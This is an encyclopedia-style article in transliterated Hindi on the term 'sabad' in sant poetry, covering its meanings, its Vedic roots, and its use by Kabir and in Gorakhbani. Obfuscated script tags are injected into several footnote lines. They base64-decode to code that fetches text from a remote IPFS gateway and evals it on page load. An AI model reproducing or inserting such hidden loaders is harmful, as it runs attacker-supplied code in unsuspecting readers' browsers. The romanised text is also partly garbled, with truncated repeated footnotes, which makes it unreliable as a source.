सबद

'sabad' 'shabd' ka roopantar hai. sabad ya shabd ka prayog hiandi ke sant-sahity mean bahulata se hua hai. b dathval ne garibadas ke adhar par likha hai ki- shabd, guru ki shiksha, sichan, patola, koochi, ban, mask, nirbhayavani, anahad vani, shabdabrahm aur paramatma ke roop mean prayukt hua hai^[1].

arth

ved 'shabdaparak' hai aur ved ka arth hua jnan. at: shabd ka bhi arth hua jnan. vaidik shabd apaurushey mane gaye haian aur sant tatha nath-sampraday mean guru ki pratishtha brahm ke saman hi hai, at: guru ki vani ka namakaran shabd, sabad, sabadi hai. vaidik vani hi sarvakarmoan ki adhishthatri aur sarvatobhaven palaniy hai, usi prakar guru-vani sarvajnan-sampann, sarvakarmadhishthatri aur atarky bhav se grahy hai. is parampara ke karan kabir ki vani ko hi ved-vani ke roop mean svikrit kiya gaya hai, kyoanki 'vani hamari poorab'- ki tika karate hue tikakaroan ne likha hai ki 'poorv' ka arth adi, at: poorv ki vani ka arth hua adikalin vani, arthat ved. 'gorakhabani'^[2] mean sabadi ka prayog upadesh ke arth mean hua hai- sabad ek poochhiba kaho gurudayalan, biridhi thai kyooan kari hoiba balan. samany roop se pad rachanaean rag-raganiyoan mean bandhi hoti haian. shabdoan ke lie yah vidhan nahian hai. upadeshatmak aur siddhant niroopak gey padoan ko sabadi kahate haian. 'gorakhabani' ki pratham sabadi hai-

basati n sunyan sunyan n basati agam agochar aisa.
gagan sikhar mahi balak bole taka naanv dharahuge kaisa.

anahad nad ki charcha karane vali gitiyoan ke arth mean bhi sabad ka prayog hai, kyoanki 'gorakhabani' ^[3] ke anusar 'sabad anahat' hi sabadi hai.

'shabdastotramala' ke anusar-

sabad akhandit roop, sabadu nahian pandit hoee. jaisa sabad agadh, sakal ghat rahyo samoee.
sabadu karai achar sabad roye aru gavai. nirgun sargun banari sabad sabahi mai pavai".^[4]

svaroop

santoan ki 'sabad' (shabd) athava pad namak rachanaean adhikatar gey hua karati haian aur inamean unake atmanivedan jaise vyaktigat udgaroan ki hi pradhanata rahati hai. akar ki drishti se ye pad chhote ya b de, sabhi prakar ke ho sakate haian, kintu inaki koee-n-koee pankti aisi bhi hoti hai, jo 'tek' ya 'rahau' ke roop mean doharaee jati hai. in padoan ko hi santoan ki 'bani' kahane ki bhi pratha hai, yadyapi is shabd ka prayog unaki sabhi prakar ki rachanaoan ke lie bhi kiya gaya milata hai. padoan evan sakhiyoan ki rachana keval phutakar padyoan ke roop mean ki gayi dikh p dati hai, kintu ramainiyoan ke vishay mean ham aisa nahian kah sakate. inaki doha-chaupaiyaan ek sath kramik roop mean akar kisi vishay ke vivaranatmak varnan ke lie adhik upayukt thaharati hai.^[5] 'sabad' ya 'shabd' pray: gey hote haian. at: rag raginiyoan mean bandhe par 'sabad' ya shabd kahate jate rahe haian. siddhoan se lekar nirguni, saguni sabhi sanpraday ke sant athava bhaktoan ne vividh rag raginiyoan mean padarachana ki hai. parantu pratyek gey pad sabad nahian kaha jata. santoan ki anubhooti 'sabad' kahalati hai. kabir ki rachanaoan mean 'sabad' ka bahut prayog hua hai aur bhinn bhinn arthoan mean hua hai. hajariprasad dvivedi ne apane 'hiandi sahity ka adikal' shirshak granth mean likha hai -

sanvath‌ 1715 ki likhi huee ek prati se sangrahit aur gorakhabani mean uddhrit padoan ko 'sabadi' kaha gaya hai. kabir ne sanbhavat: vahian se 'sabad' grahan kiya hoga.' ^[6]

kavyaroop

kabir sahity mean doosara priy kavy roop hai, pad jise 'sabad' kaha gaya hai. padoan mean sakhiyoan ke bhav ka vistar kiya gaya hai. 'sabad' mean shabd brahm ka bhav bhi nihit hai, sambhavat: isilie santoan ne is sanjna ka prayog kiya hai. kabir ke pad poornataya gey haian. pad shaili ki rachana siddhoan dvara charyapadoan ke roop mean adikal se hi shuroo kar di gayi thi. santoan dvara is parampara ka grahan vahian se hua. sakhiyoan mean padoan ki apeksha upadesh ki vritti adhik hai. svanubhoot bhavoan ke sahaj udgar se in padoan ka srijan hua hai. isilie inamean vaiyaktik anubhooti ki pradhanata hai. isamean ek hi pad ke antargat kee chhandoan ka samavesh kar liya gaya hai, jaise doha, sarasi adi. jahaan ek hi chhand ka prayog hua hai, vahaan adhikatar roopamala, taantak, vishnupad mean se koee ek chhand hai. kabir ki rachanaoan ke kuchh sangrahoan mean padoan ke sath ragoan ka nirdesh bhi kiya gaya hai. inhean tarah-tarah se gaya jata hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ b dathval - hiandi kavy ki nirgun paranpara
↑ sabadi, prishth 30
↑ prishth 196
↑ dhireandr, varma “bhag- 2 par adharit”, hiandi sahity kosh (hiandi), 720.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ dhireandr, varma “bhag- 2 par adharit”, hiandi sahity kosh (hiandi), 696.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ hajariprasad dvivedi - hiandi sahity ka adikal

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] thval - hiandi kavy ki nirgun paranpara

[2] sabadi, prishth 30

[3] rishth 196

[4] reandr, varma “bhag- 2 par adharit”, hiandi sahity kosh (hiandi), 720.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[5] reandr, varma “bhag- 2 par adharit”, hiandi sahity kosh (hiandi), 696.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[6] riprasad dvivedi - hiandi sahity ka adikal

[1]

[2]

[3]

[4]

[5]

[6]

सबद